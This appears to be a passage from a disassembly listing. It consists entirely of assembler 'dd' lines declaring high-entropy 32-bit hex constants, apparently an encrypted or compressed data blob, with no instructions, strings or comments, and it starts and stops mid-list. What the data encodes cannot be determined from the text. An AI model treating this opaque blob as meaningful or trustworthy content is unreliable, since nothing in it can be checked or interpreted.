6260DAEAh, 485EE989h, 9CB81C2h, 65705FA2h, 0C02B580Bh dd 97739C5Dh, 0BB122A53h, 0F22949C2h, 0C4674B79h, 0BFB3EA0Eh dd 0C292FD97h, 7DF03BE9h, 0C1F6E2EEh, 0A181F49Ch, 5F35C651h dd 0F721E07Ah, 0A4D1DF3Ah, 6613AF87h, 0AC3D95BAh, 15278449h dd 73565F07h, 0E0B6270h, 55494158h, 8384EF22h, 0CB8CD655h dd 5260D55Ch, 0BF272EE9h, 76972A4Eh, 0D1BD56CEh, 2596A2FEh dd 0A322AC8Bh, 5D63689Fh, 1C13F400h, 0D403F88h, 5A4728FAh dd 7CD22580h, 0FCCF4657h, 678EA865h, 0C25DAB5Bh, 5E5D5064h dd 0D7DDF359h, 0E84CBFAh, 12345568h, 4B85B7BFh, 2FAB3149h dd 2FEDA106h, 0D8431178h, 0EA7E5A0Eh, 3251AE79h, 907F58A5h dd 0FA13EEDFh, 6135C42Dh, 453C14A8h, 5B0B5724h, 0C6FF66CAh dd 0BE5A4E30h, 5C15E3Ch, 0CA680AE9h, 0EF71564Eh, 6CC27921h dd 0E904612Bh, 3F4068E2h, 69438FBFh, 84FA5621h, 3DB8EEBDh dd 8A0C0585h, 0EB5B76CDh, 0AA4886BDh, 13DD884Eh, 4B21ED40h dd 653F2CF8h, 0B55BB340h, 164BCBE3h, 601B69E4h, 0DCE56B20h dd 0D398084Eh, 1F88CD38h, 0F51D2CA4h, 0D3AC488Eh, 0E90FC8BBh dd 0F6B1264Bh, 6ABC9B6Eh, 0F138664h, 6A50F6C2h, 0BA69D7DBh dd 9C5B705Ah, 6FA6E59Eh, 1E983B01h, 3A89CA01h, 163044ECh dd 0A49E665Fh, 8F56AE61h, 8CE2A880h, 0E90B1E12h, 0F48B7125h dd 2802731Ch, 5E1D259Eh, 44836256h, 0B8895867h, 807FFC4Fh dd 0DCB8DFC8h, 48FB2A68h, 0B650623Ah, 39666C91h, 6A5419B0h dd 17092DADh, 85564436h, 71D05B4h, 0A5075E6Fh, 46C22A5Ch dd 506FF65Bh, 920509E2h, 16D4E97Eh, 5054E6AFh, 7057CE7h dd 93E957C2h, 3EC69FE4h, 5BAC6784h, 98E1D17h, 697E6047h dd 22EEB439h, 25D90B12h, 13AE1C04h, 0E910E037h, 0E8B71527h dd 0C00D300Ah, 8D9F667h, 4FB82295h, 0A41E601h, 0DEF7793Ch dd 0AA666281h, 3E314360h, 40ADCAF0h, 302758A1h, 0C11F33FEh dd 271C0C6h, 0AA050692h, 17FFF5E0h, 0AC4CDDE9h, 0F62AC596h dd 4F870EE4h, 63E4315Bh, 0AA85C326h, 592BDF3h, 305ED08Eh dd 57B2E9E4h, 0FDF1BDA6h, 0B33F21h, 16746882h, 0F8923659h dd 53CEB684h, 3E5F2C20h, 0CC724B13h, 49D3FD55h, 0FFD8150Bh dd 16579CBAh, 0FCA7299Fh, 6D2603C0h, 0B0DA744Fh, 293B6D70h dd 0F97F95DEh, 0D6F6804Bh, 2762EE80h, 0BB79F030h, 0BCDFC08h dd 166535Ch, 93E8883Fh, 8564A892h, 0A23B81FEh, 84850593h dd 6A54F1FAh, 51E4DA87h, 1D0FBCA0h, 2D6168C8h, 9C254E66h dd 25724609h, 5DD15332h, 96DE97BCh, 0EF5AC1E6h, 37475A44h dd 0D2E336CDh, 82BB74B1h, 476D0394h, 69410275h, 2697799Ch dd 84E517A7h, 0A82F859Bh, 99FFB4D3h, 17023062h, 34842DBEh dd 0BDBED9B0h, 41CB0482h, 17247E3Fh, 5274AA08h, 0C14B35BCh dd 2DC5334h, 0AF527501h, 1B945DF6h, 23584D18h, 0B61E01EAh dd 580CB705h, 0E0B16A1Ah, 3BD0704h, 0A7C2EF93h, 0A5B0D720h dd 9B241690h, 0D72DFE10h, 0B193DEA4h, 0C5C06B9Dh, 3F3136EFh dd 0D14F44B6h, 4888640h, 0AE97BCB9h, 0C2259409h, 775E5581h dd 6FE91654h, 0A7D9FC66h, 54298AC2h, 50FD839Fh, 0D9DA4618h dd 0E86D194Ah, 437EE909h, 87CA916h, 0F8BE0A82h, 0EC09F32h dd 48956563h, 27680751h, 144609B2h, 0FFAD65E9h, 9349D2A2h dd 0E5E680CDh, 3DDE3547h, 0F8DD4AF7h, 0B44A837Eh, 0EE89D8D8h dd 0CF3567E9h, 0A246254h, 0D0F7EF6Ah, 51CEF426h, 37C91015h dd 70C3CD81h, 7B4DB717h, 1B106FCBh, 57592799h, 56009F47h dd 0B547C968h, 3207B579h, 631A7082h, 866E62E9h, 2CD0023Eh dd 5A5A443Eh, 58DEC2EDh, 0D4CBB8D6h, 28770966h, 7C8B9E57h dd 165494E9h, 5DAE0966h, 1BFBA35Dh, 0CD01D142h, 1FBEC43Eh dd 0A65BDF8Ah, 52600FFAh, 742C1EFh, 0A3CA44E9h, 2D9E407Dh dd 0E7281358h, 0EF0C0478h, 0F7810070h, 59AA6DF9h, 2D7E33EEh dd 2348E840h, 0D1B58B62h, 8A56A7BCh, 0C9A6DF58h, 59F7C24Dh dd 3A0C4D40h, 53972CFFh, 37ADBB00h, 0E3813596h, 0D273176Ch dd 42C9AF1Dh, 1FC0F3F0h, 14537917h, 2673FBEBh, 9AE0146h dd 1B54E0D2h, 83C1074Bh, 5F4BC042h, 3890FC72h, 0C257AF26h dd 0D2D03150h, 0E4808D9h, 0CDC9822Fh, 26740945h, 7E78039h dd 3C7814Fh, 37092C2Ch, 4BA03BF1h, 0A5F9293Bh, 60627759h dd 9E5D7242h, 8E112AE7h, 0E3D13CECh, 0FD413B13h, 835ECBDBh dd 13EE755Dh, 0B4B30F2Bh, 640C3DCh, 129D985Dh, 2A70BAh dd 1556C293h, 0E9129778h, 31FE3ECAh, 2EC80166h, 0D2F91F62h dd 0CC0F7727h, 0E176E7B7h, 0FCAC2140h, 0C3C619Bh, 2B79BD68h dd 0F0802124h, 737591Ch dd 4BB8503Fh, 0C1222F32h, 0D07503E0h, 0C59280B3h, 97E91A71h dd 9360CBC9h, 99F414EEh, 6774BB59h, 82A25995h, 0B636405h dd 2CF8197Ch, 9BFE2E4h, 9A5854BFh, 8B5F4173h, 26787433h dd 2C77056Bh, 65DFBC14h, 70103668h, 32B404A1h, 80BBD4F6h dd 0C012CC04h, 9E03EC39h, 0C44204E4h, 0F068E986h, 97BEB408h dd 0F438EE38h, 531D13BFh, 1A5E1677h, 4E7D0F7Eh, 7F5AA2F5h dd 2C4B28C4h, 0A84E3BF8h, 0CB09B52Eh, 0B6F37564h, 515B5405h dd 5FC40924h, 2E6770F8h, 5B88332h, 0D9F73806h, 0F604E1D1h dd 5C4FCA33h, 30173C90h, 9088EC24h, 5B7C10F7h, 0FD6957Dh dd 9DAB005Ah, 7305E1C0h, 0E9450980h, 0EF52F14Ch, 0E304817h dd 73024BEEh, 55972D58h, 7795451Ch, 0D5955296h, 2263CAB2h dd 7C16AAE5h, 1B2D9E9h, 4BDC6801h, 8EB98C2Ah, 0CD01FA99h dd 42A4359Ah, 55472861h, 3CAD1A60h, 0BA3692Dh, 4518507Eh dd 2740035Ah, 0E07A57AEh, 75DCC106h, 82B058ACh, 5D0802F2h dd 0B14EF757h, 0C0FC6839h, 6794DE9h, 40FE2D7Ah, 0EED9D3F4h dd 90BC4F0Fh, 3F0A68C2h, 2DB9CF5Dh, 0C10C8853h, 3C80807Fh dd 0BC2DA4EAh, 5613E10Bh, 229E9FCBh, 7F252685h, 0C7D8C612h dd 6C2C89Ch, 53A79A0h, 0E72AA168h, 74EA4A19h, 2DCD813Ah dd 1832C41h, 8AC38B7h, 0C46FFDE9h, 964DF3A8h, 14926004h dd 0AD3D8ECh, 1FF6AC07h, 0CB5C6757h, 70AD2FC1h, 0C59CFC7Ah dd 5DE8F83Bh, 57DFA1h, 9140E2Dh, 0F8293273h, 24086E88h dd 875F8536h, 0ADB7FE04h, 5302E48h, 5266F84Fh, 2CDB22Eh dd 9955E2Fh, 51775B82h, 0BFB44037h, 584BE188h, 0C8FB6929h dd 0B210B9E9h, 0ACDE4F50h, 92DB8BDh, 60135714h, 1CCB8A66h dd 246057BFh, 8F968BE9h, 832C680Ah, 5DE8AA42h, 0F79502B6h dd 0E9191D03h, 4F133D13h, 0FB018EF3h, 0E97D7C38h, 0EF007B1Ah dd 6321F7B8h, 0F1099DFEh, 2512E4FDh, 1AA184FBh, 3EEA0402h dd 71461921h, 0A69CC004h, 91B091FBh, 17D72630h, 2C0355C6h dd 3243679h, 45F93FDCh, 8C9EEE0h, 0E970060Bh, 0B24D2E8h dd 0E33BECCFh, 0C4E61702h, 2942D454h, 2D5F72D8h, 9A760930h dd 0ED805A64h, 9F796265h, 4EA0D780h, 475D06B9h, 0BE805F04h dd 0C16ACB5Bh, 8D27820Ch, 5534202Eh, 0B967F95h, 0BF5F8DFCh dd 0A1528074h, 107EA2EFh, 5B13804Ch, 0C01EBC87h, 0CD37FD68h dd 4D5D2D71h, 4B00B256h, 42E902AEh, 0C277CBCAh, 0F9C143EAh dd 0ADDB20DAh, 47940917h, 48197B82h, 4E9F6898h, 2598E34Dh dd 0A79EDEDDh, 5B02BCF4h, 5DB5A8E9h, 52692AA5h, 8F21AFC3h dd 0A12C2A8Ah, 0DC89A890h, 7327F754h, 0BC7B09B6h, 6F0D0FFBh dd 0F02E3FFDh, 154A831Fh, 846632EFh, 59952458h, 0A2F5E95Ah dd 9A82A98h, 47F8BF7h, 2C035FCBh, 0BC106640h, 582D911Ch dd 207310F5h, 0CF61C07Eh, 1005156Dh, 1940F1A2h, 3EE12FA4h dd 0FFB433F9h, 0AF511FB3h, 8392023Fh, 7B7F02C0h, 124DA65Ch dd 0A0A3BF34h, 0BA9BA184h, 412F35FDh, 8F669BC0h, 75DFF2A0h dd 0EE0CC3D2h, 9EDB9A1h, 41F2A23Bh, 960E407Dh, 167D95FDh dd 9534B3AFh, 0F7139271h, 0B241AFD8h, 9A94F98h, 0ACDAA8BAh dd 0B02CC8E2h, 0CAF8BAF6h, 314832E6h, 4B501029h, 0E5F65D27h dd 0E9EFBEA4h, 4F55F6B3h, 0BDB6520Eh, 0BABB034Fh, 781D7DEh dd 499B6B28h, 28E56E29h, 170AA357h, 9B6C8B15h, 8C2D4F48h dd 8340C911h, 8BD505B9h, 0FE290EC7h, 42CE6D90h, 0CC7A4498h dd 7B272EFDh, 4EE05E84h, 4AB60FB8h, 994407C9h, 923AAC66h dd 10A0E2BBh, 0BA012A2Eh, 43187EA1h, 0BB1F3E42h, 1101B489h dd 49F6A69Eh, 23C822BBh, 0BB6CB52Bh, 0A047AC20h, 807B605Fh dd 6C4FCE68h, 84C6D633h, 0F2555F07h, 7DCC3867h, 222B930Bh dd 1C35FC47h, 3880C6FCh, 5B2C6E9h, 0E8ACB3Dh, 79D0C2EBh dd 0F06AE50Ah, 0F0559348h, 71B13FD2h, 11C4742h, 7E52C301h dd 0F94545C0h, 1EB79814h, 71A62772h, 4810A188h, 205ACA53h dd 90210CC8h, 0F5695E12h, 1FBAEBCDh, 699D76F2h, 1C288A04h dd 4EBBCA4Ah, 0DF2D779Ah, 0BE57B109h, 272891A0h, 0EB5525DAh dd 25D13ECCh, 0EF2EFEE2h, 0E10C1E3Ch, 5E59A32Bh, 5F36E2F9h dd 8528080Eh, 0AD028A16h, 1077759h, 33B041D6h, 53DC356Fh dd 0C6D88B30h, 4E96FFD1h, 0FA07AABAh, 49C2D501h, 0B9834846h dd 76D3E102h, 7F749A61h, 66FE56B5h, 0A6691422h, 0C325541Fh dd 8B0040D3h, 369E23C2h, 2F5E5298h, 0BCF6315Ah, 67177342h dd 742DBF2Ch, 3DB22460h, 0ADD4D697h, 57F404DFh, 9C9D1C2h dd 5C2D8A67h, 17D070E7h, 0BCF37EE1h, 0BD4EF048h, 8A284F9h dd 66DD0B1Ch, 256A0602h, 37AF6801h, 0FF926128h, 8B247359h dd 0A317177Bh, 7BE141D2h, 0C6B56B8h, 0B62C2DDh, 632F75F3h dd 90E9FE21h, 0FA638B99h, 0CFB5D165h, 5DF95FA9h, 11440265h dd 64E89AE9h, 470EBD02h, 0FDE33359h, 0E2C0D301h, 0F5EA8002h dd 74D4C72Fh, 2C93A6A1h, 4C189B55h, 8275BC8Fh, 99196985h dd 4EAA2FA5h, 503041E4h, 4712263Bh, 0F4BE6575h, 0B73E0661h dd 0C9892CE7h, 2F72768Ch, 3EA402F6h, 0F229E6A0h, 0A9A494F9h dd 0D035B400h, 97D1893Fh, 30C18B60h, 4E31941Dh, 0BFBF46Dh dd 0E010055Bh, 7250E30Fh, 529DEFBAh, 0E1E91712h, 552BC9B2h dd 0E499AB95h, 2D0015E5h, 9E046166h, 3A97683Bh, 0E3C08ABCh dd 0E97AB079h, 0D3CCC527h, 0BB2F16A9h, 8FDD5DD1h, 19C45D78h dd 90C1C81Eh, 9A3C4841h, 4E1DBF5Ah, 0B05AFC6Fh, 73065AC4h dd 0EB813D01h, 0BEEF9AB0h, 0C018E06Ah, 0D49D6EEBh, 83278B20h dd 6301C1D9h, 901420C3h, 78290BA4h, 0D5E5011h, 0FF424551h dd 27916547h, 5655AD6Ah, 25F72C75h, 29816155h, 18081C94h dd 0AB026CC8h, 8037F630h, 0AA0DE620h, 2674B73Eh, 9A0C6C94h dd 0E91C1128h, 0A8B784E3h, 8E2C105h, 0F7B84752h, 457F69D2h dd 5CE90B11h, 424ABDC0h, 12EFB4C1h, 5DF467AAh, 0CFF9BF4Dh dd 442C6881h, 75F85196h, 0E31DC972h, 3BA7DD03h, 78F635FAh dd 0BC022628h, 14B0EE9h, 0A75FCFBh, 40B02497h, 72E04370h dd 0F05B67F6h, 52C9BFACh, 0B034C75Dh, 7A55E9BBh, 5D50C0BAh dd 56F08EE2h, 84B54E4Fh, 0B2BA0805h, 16C216DCh, 0F85A39CAh dd 0ACAB10D0h, 8C12503Bh, 7FE244D0h, 40A8443Bh, 0F32E5C14h dd 2FBB810Fh, 7F507E09h, 98C6D0E4h, 5A0B8356h, 3B02FA0Ch dd 51052DE9h, 136804B0h, 0C695A808h, 1495260Ch, 9FB652F0h dd 34E81238h, 0D0212E6h, 44F7DFA2h, 1AD4BA74h, 572D92BBh dd 759461F7h, 0EE701CE1h, 0DB045CA3h, 0B174B2C1h, 75F2065h dd 3ADC8BDh, 0C99AA0F7h, 0E0092C9Ch, 21613D1Ah, 2B58E728h dd 38BF2FF1h, 0EC4AD949h, 5F66B20Bh, 0E90B0D51h, 0BE4B41CBh dd 0A14E2529h, 8C452E94h, 0E5895C81h, 95EFBBDCh, 0FEC9E27Ch dd 201013h, 6460B951h, 0A2492E2Dh, 3B47D9F1h, 4F48F104h dd 5137BB36h, 7CD9C9B0h, 4FDAEA8Bh, 83828A8h, 2E68A340h dd 0C29A0132h, 0BCA7CB41h, 96099FE5h, 53D57742h, 44D5699Ch dd 0AA20B1Ch, 0BF06C54h, 0C8D863B7h, 0EF25B63Ah, 5D0DCE80h dd 0A0E927C4h, 4899469Ah, 0E2FC89ADh, 0B9FC7736h, 288484D2h dd 8F70500Bh, 581D091Fh, 0E415180Bh, 0CF0BA0FAh, 63F42C32h dd 26E32811h, 0BC121688h, 907BF282h, 0E54084C9h, 76F22530h dd 1E2029Dh, 4EA50E3Eh, 5C58C2FBh, 0E31F9D79h, 10214B0Bh dd 4C4F9B26h, 0D93E9F45h dd 1A4CC698h, 58182EBAh, 6F7E57BDh, 4A154C77h, 92E9DA0Bh dd 0A3BE0CA0h, 3A58BF38h, 240E01F2h, 72E94EB5h, 0F88AA1DAh dd 13E4C789h, 9B8B133h, 5F6A0F40h, 798E5560h, 0DAE5D125h dd 36342D7Fh, 5E4B68CCh, 0C3AF27AEh, 0EA845A11h, 0E9F089B2h dd 54C5A954h, 0D480D5F7h, 126BA299h, 0D9EF01FAh, 0CD79F224h dd 3BBE55A7h, 5497F69Fh, 0DB8D180h, 0F4BCBB4Bh, 4470C905h dd 8F82AF47h, 1637762Ch, 5C87BA05h, 5D782BA2h, 249B2DBh dd 55295CCDh, 0D5EBADFCh, 0E99134Bh, 940A60B8h, 223CDF41h dd 0FD61C4h, 0E6531BBh, 7595904Ch, 378E20F0h, 0AE271B09h dd 0D18B577Ah, 52536705h, 0F27CE8E3h, 0C1F0D5BDh, 40ED6C8h dd 0EAEBC166h, 0A2E30DC3h, 52505D17h, 48FAD120h, 42268AFBh dd 3DCDC2ADh, 127CD109h, 0FAB95328h, 0EA3B2869h, 4356412Ch dd 8EC53FBEh, 0C03FA107h, 7A2F97EDh, 0F501340Dh, 1C081A1Ch dd 0BE5E1404h, 0AF1080CBh, 0A3BD0244h, 0D5F7F9D3h, 0D128A3C8h dd 5BE01AD4h, 292D4BEDh, 0A50818F4h, 0A4252594h, 68CC4211h dd 0D94859BCh, 1495882Eh, 0F96A1F59h, 889327FEh, 0AD9785D5h dd 6AED3FDEh, 27380D03h, 0CA4DA1Dh, 4B2F2B4Ch, 0BB80719Ah dd 0DA561E7Dh, 17649311h, 9330BD10h, 0CED84D56h, 0A85F4BFDh dd 0CDE4F4CBh, 913269A3h, 0C088C251h, 0E681004Eh, 4F0258FCh dd 0E39E9DF6h, 44CBE01h, 0AC6F7AE3h, 0EEC1C5FBh, 0D3149C7h dd 5DF2EB8Ch, 0E1BF668Ah, 7AE1BDE9h, 30855BACh, 71CFEB62h dd 5D39AE5Fh, 203AB33Bh, 14E91433h, 5A80E342h, 51088F35h dd 1615F99Fh, 90020BADh, 48DD6BFFh, 8278EA1h, 0CF00F1F1h dd 14270C9Eh, 68510050h, 3CF07F2Ah, 1650B0E9h, 7514DE3Fh dd 5E46B32h, 779B4473h, 0D460F3EBh, 57E9091Fh, 0B5BF4413h dd 6F122BF3h, 0F8ABBF84h, 8AEFF5FAh, 0D3BD016Eh, 45011E53h dd 90F81060h, 685A0B0Ch, 0BFED3090h, 281F742Ah, 0CA021839h dd 80D779CBh, 60A8E2DEh, 0C526040h, 27E46DA2h, 26FDD80h dd 0E94235CBh, 0F765C69Fh, 6C81560Ch, 0FB380DBDh, 7665931h dd 5AD18207h, 0DF13B682h, 3638009h, 0B7276A21h, 0B6245CF0h dd 56A70C60h, 0BBE44557h, 1DEACB40h, 9D12A818h, 0DC062B7Fh dd 0E2AC12E1h, 0C7881C3Fh, 0A95BF98Eh, 27DBC5CAh, 0A03BEF7Ch dd 0DE29042Bh, 815EF389h, 94D65A14h, 2A40D34Bh, 5E13CB6Ch dd 0C091D729h, 0E73A7682h, 0FD247B82h, 5EAD908Eh, 3C5E66ABh dd 5E59CE27h, 0F6810053h, 617ACC99h, 1EF28932h, 4F2D82D3h dd 0D1375E4h, 0C31F91EEh, 0C7CD4358h, 0D5DE1249h, 6887C373h dd 750974ABh, 6885E1CDh, 10A94B61h, 30562DD3h, 5181A7F9h dd 591E2DCFh, 3212BA58h, 440015D0h, 0B8A91A8Ch, 5B712EE9h dd 2D3AA60Fh, 73020EFEh, 77391128h, 29BED940h, 0B9584D0Fh dd 35FD225Ch, 0E6720E31h, 905021Ah, 5506D257h, 70BFA42h dd 3BB8B369h, 0E6EF6AC5h, 897EC40Eh, 680BB13h, 30504FEDh dd 0BB0C51D0h, 414E9B7Ch, 8DC59BC2h, 14040C08h, 227A1E8h dd 9D4DA2CCh, 8EEA4EF4h, 911A262Ch, 85A05B92h, 0B353040Dh dd 87EB80C5h, 0B3683431h, 2B987EF4h, 2DAF3360h, 0F0171F2Eh dd 4F5D0505h, 1001264Ah, 0A27C0783h, 52C6DE11h, 0E9F9185Fh dd 1DC59486h, 8AF7895Fh, 13D97AA5h, 0AC82FADCh, 11D95F5Bh dd 0C25AE84Fh, 0B0DD3168h, 952F7733h, 1307D6C6h, 415B402Ah dd 6A59E912h, 0EF1781C3h, 0A02ED471h, 218E7C8h, 1C18624Dh dd 5A13270Eh, 2FDE3A40h, 445FD1B7h, 3788AF80h, 0AB0C1271h dd 0C5058025h, 982D5AACh, 1ADFC0Bh, 0A02E32EFh, 47292129h dd 0FBC344BAh, 57C6FC4Bh, 266C5462h, 886450B5h, 4A84E963h dd 788DABAEh, 133470F1h, 875E16F5h, 9340ED2Ch, 0EDEB6018h dd 5E46187Ch, 33409E2Ah, 50DDC42Fh, 7D4A372Ch, 81830926h dd 48D2AAB0h, 20593569h, 4752A40Bh, 9D2F0599h, 5AF15D4h dd 9CDD2961h, 0B74BB113h, 2572CBAEh, 5E4755Ch, 9AF9D92Fh dd 5F42DF1Ch, 0C0724A5Ch, 35031Bh, 0E7813694h, 3A5D088Ah dd 0EF014F77h, 131F8016h, 4E34B4E9h, 68C20A01h, 88D56DBAh dd 561EE57Ah, 0AE2AB4C5h, 51289EB0h, 7E46C3Ah, 0F30A7B40h dd 0F6FA137Ah, 198B4EBCh, 9E5D206Bh, 3A5EB7D5h, 0C2F4B4C2h dd 9D94FD7Eh, 42E92BC2h, 54F975CBh, 8372C46Fh, 5699B4B8h dd 7606A7D1h, 0E1C1009h, 124F5668h, 0C9FEE6FAh, 80177D59h dd 66949A09h, 5B21F204h, 5AC0E43Bh, 23672D04h, 1C261C6h dd 51078005h, 2418C0B9h, 339F0A7Ah, 686E4904h, 0E14A7D4Fh dd 8401BA06h, 419CEE0Ch, 0A01226B0h, 33604362h, 3A3BC111h dd 0C1960C7h, 2DF0C226h, 73A3E92Eh, 8953D4AFh, 0E3462402h dd 203B681Ch, 0DF96552Dh, 0CD137795h, 0D5B0AFDCh, 35CE27E9h dd 93EF9AF6h, 90A44ABCh, 706B3A2Ah, 41E94A0Bh, 31DFA257h dd 43C7E1D8h, 3F561548h, 81019C66h, 452F0DE9h, 0D7F470D0h dd 4010DE97h, 6EDA1792h, 710D5800h, 55C7254h, 6F121220h dd 4097A896h, 5A171991h, 92AB753Ah, 0A058AA46h, 78C8D994h dd 1308044Bh, 88167CF7h, 975B2338h, 0CE7C21B6h, 103F0512h dd 254B0AAh, 0CA3AE939h, 4F86FB8Ch, 25BA411Dh, 0F942B28Ch dd 248A21CFh, 0CB4B28ECh, 403E2A88h, 515452B7h, 7F03B827h dd 35238C70h, 200B627Eh, 0B2D2AC6Ch, 0C540831h, 0B07BE120h dd 415FA631h, 428E46EDh, 0D65D245Ah, 68536036h, 720923E1h dd 0F8ACE916h, 0AB10685h, 6B0C180h, 7F04300Fh, 0C828432Ch dd 0C0C4F851h, 0F60709E1h, 2DFEFED1h, 660A0118h, 0AB63852h dd 389FF12Ch, 2C59C801h, 2ACBE97Fh, 0CA819D12h, 1660EE01h dd 0B51D1E2Dh, 12163514h, 0B18FBEECh, 0C54AE84Bh, 0CAABAF14h dd 4BB81784h, 2AE02DAAh, 1EA1DFA8h, 0EB43816Ch, 0E43F5E36h dd 0F3178378h, 71DFD920h, 56F8F430h, 41E5F497h, 443271AAh dd 5693AEFFh, 96AEB156h, 0D9A94E44h, 8A12E24Ch, 0F72B472Bh dd 8735825Ah, 2F4EFADDh, 6B6C25EEh, 0B2BCF4F4h, 0C5DE5B1Eh dd 3361100Ah, 0A728E60Ch, 27D0A94h, 16F2466Eh, 87C78CDCh dd 0DC9F0970h, 0C781696Ah, 30AE03E7h, 0D501E5A2h, 0E9376714h dd 8E2E406Ah, 0EA8101A6h, 530144B5h, 6230F2C9h, 9910188Ch dd 6FC9286Ch, 12AB984Bh, 0C70AEA88h, 4C05F108h, 92049E6Ah dd 39AEAA9Bh, 2903699h, 43E9F821h, 7F46DF4Eh, 3270FE6h dd 0B03F9466h, 0CD1BE3Eh, 8004C4FEh, 0ECE6A2E8h, 0E3275D70h dd 90A05C58h, 83FD266Dh, 1F225F4Bh, 1EC6F9FAh, 0A9685014h dd 145925BAh, 1A0507ABh, 5018DB08h, 0D490A7FDh, 5830E913h dd 417831CCh, 32FE3AA9h, 58E91A37h, 83A02A5Fh, 0E57E0066h dd 8711BE50h, 0C9B70CEDh, 0EDEE475h, 0FA8368C5h, 4D008CA3h dd 0E9013618h, 0A09D1A55h, 0F247592Fh, 37F9BF49h, 0F9315302h dd 80B37A3Fh, 5E7EE908h, 42109DF8h, 0B9001262h, 51080EC2h dd 0EC31E33Fh, 777845F8h, 923BF0DEh, 0B7327D6Fh, 0D6877EDCh dd 4ECBFEF0h, 0CD6812DBh, 872DEF77h, 40B4C60h, 1063341h dd 522984C7h, 68940508h, 3333AFD6h, 5D09CFCCh, 520694Ch dd 425A9DBCh, 443020h, 7A48B5BAh, 0B74FBD47h, 83B88528h dd 0CC557209h, 0F1627770h, 0FE5A0804h, 0E868F180h, 0FD2AE10Dh dd 0F2AF932Ah, 403789CDh, 1771BF38h, 142AC514h, 849DFF0Bh dd 0C2B90231h, 0D0C2F177h, 0C5F50809h, 0FD742751h, 52B0B764h dd 7B4E9550h, 7DF4E862h dd 20FF6415h, 0F0B58A64h, 5FF18136h, 0BB02F237h, 66D6AABh dd 0D4E08BD7h, 6A10ED38h, 2210FECBh, 0D0C24A76h, 0D20F54Fh dd 0D9230CC9h, 0D8413C3Bh, 5A5D093Ah, 0E2628975h, 1B31406Bh dd 0A6E05C2Eh, 302CED02h, 37603CD0h, 0FD2852C0h, 0FC09C62Bh dd 5D5ABEF4h, 5DE92838h, 0BD01E79Eh, 2DA65CBh, 45CC4885h dd 5C66813Eh, 556AA5F7h, 0F8A462E5h, 0FED9FD5Ah, 57D7649h dd 0D8FEEF79h, 9A9A86E3h, 9F945ABFh, 595E3BF4h, 2813A112h dd 10C88BE6h, 3109A932h, 0C07759CBh, 27A7BB37h, 21508A46h dd 1EBDD880h, 54BADE0h, 2DA000EFh, 56391993h, 40F952B0h dd 674AE907h, 6B493AB4h, 0B04CE101h, 87581884h, 35DCFE2Ch dd 1EE52D68h, 0E84B9D51h, 802BB039h, 4D3FBB68h, 0A74BCF93h dd 56329DBh, 88EAE890h, 59049D8Ah, 44011D55h, 580C0C64h dd 22407CAEh, 0BBFA4A01h, 0FC603D29h, 0F4185FE0h, 0D2F03C98h dd 0FD83F396h, 4B315B5Fh, 5452AE78h, 0C66BB3FFh, 306EC549h dd 3504E0D1h, 125BA6Dh, 0BC61DDDAh, 0FBDFDE3Fh, 64F91256h dd 0DD88F8F6h, 0A0399849h, 497D402Fh, 4FD09D53h, 0FCBF2790h dd 0A1F4648Bh, 0D2F83A18h, 0B45144C5h, 62037070h, 0D2F710A3h dd 4065E4Ah, 0BF45DDF3h, 0CB5EBE8Ah, 627627E0h, 0FF646AB8h dd 0E902FB4Fh, 64FEFCCAh, 0BD25F0FBh, 6BB2FD0Dh, 0E9F1C2A9h dd 0B3428D8h, 0D003EBC1h, 45473F6Dh, 26F2AC40h, 9EEC94Fh dd 9E5EF7CEh, 19BC5F25h, 0B1945A1h, 5F39BB4Eh, 75E88B15h dd 0A4CD88F4h, 0FAB88B97h, 0F7111627h, 0CE05981Bh, 19F86B4Fh dd 65F5C9F1h, 0D710A068h, 0C429C00Eh, 92C0D635h, 9F873DE2h dd 720E874h, 5122FF84h, 5054B53Bh, 0F1FD0902h, 0E782776Dh dd 9361C801h, 7957D846h, 0AA09349Eh, 9F3F530Ah, 7C840955h dd 989745FEh, 5D5A8582h, 57004ADCh, 0E20672BFh, 0FCC15156h dd 0FAACC56Ah, 0E80398h, 81298A4Bh, 2E75FCEEh, 0AF0064B6h dd 119830Bh, 6B4CB1F7h, 5068BDDh, 0C8CC4719h, 0B5E9F354h dd 0D8603C65h, 7812410Fh, 0E6F4DE26h, 7FE831EFh, 77880272h dd 28C7B982h, 571FA965h, 0D6DDBF09h, 622B6F07h, 0A1F19B63h dd 0F6FD34ECh, 99444504h, 0ECEA29DCh, 0A2D102D5h, 638913BDh dd 0AAC3E3B1h, 4859DDD8h, 35B25664h, 0BE42E984h, 60EF8885h dd 3E234807h, 8417B42h, 25E5807Eh, 0A8C90F5Fh, 95F058ECh dd 0F09554D0h, 48C43E45h, 58FCF298h, 47EF82Ch, 6040D6FFh dd 0FEA128CBh, 0DA96578Eh, 0EDCD1FE8h, 0F13355F0h, 4C249B09h dd 0D496DBFBh, 25C4FB39h, 0E92C6CAEh, 7E3C482Dh, 4B0C78EFh dd 162E3A48h, 3CEFB97Fh, 2D45768Eh, 7D15FDAh, 111A18BFh dd 0C1F4861Ch, 8853DBF0h, 5BFDC8E7h, 0D4BD585Fh, 0CBEE4C7Ah dd 0B546352Bh, 22A2FB4Ch, 7F768E0h, 0EB05F995h, 5F72EADEh dd 52D1B7C1h, 81DD4984h, 57564C6h, 0DC78E8DBh, 0ACA24B50h dd 34FB78E2h, 700FBB60h, 45412030h, 0D2407D35h, 197CB951h dd 3C6A489Eh, 61E68800h, 3197E995h, 802B4A97h, 0A63202F1h dd 6FE5A171h, 176B523Ah, 0AF13FF99h, 582F67CAh, 0AF6A7CDCh dd 91903117h, 60EE9926h, 0D80B442h, 0BBC0E7Fh, 5B6B08A0h dd 0B4C2D70Eh, 1A79EBABh, 0DCF0A522h, 0DE1F9B58h, 5D85D012h dd 59FA91FEh, 0FDF610D3h, 6AD0606Ah, 1C875EF3h, 0C416DD95h dd 0E2545B58h, 45C5E6Dh, 0FC5DC280h, 58D3250Ah, 0EA65B7E7h dd 491079AFh, 31F115E8h, 0E9708D1Ch, 0C8336AE7h, 81EA95E4h dd 28EE2A5Ah, 92F952A4h, 9F235F2Eh, 65C4D7EBh, 291FF0ACh dd 0B9D5A5FBh, 7DCEB15Bh, 706C70Ch, 0F6C9FE01h, 14F180D9h dd 0A830ADF0h, 1743F7CDh, 20284F0Ch, 3A506F89h, 7C016311h dd 0F84A0C90h, 5FC52745h, 1025495h, 785CE9CDh, 505203FBh dd 355AB866h, 6D7CBAA2h, 12828C08h, 0BA847558h, 3EA28D61h dd 4842A72Fh, 24E10462h, 14FA6312h, 0F54F2FC2h, 81F94476h dd 2D27DCBh, 0D5FC575Eh, 65201502h, 9B984027h, 83F582CDh dd 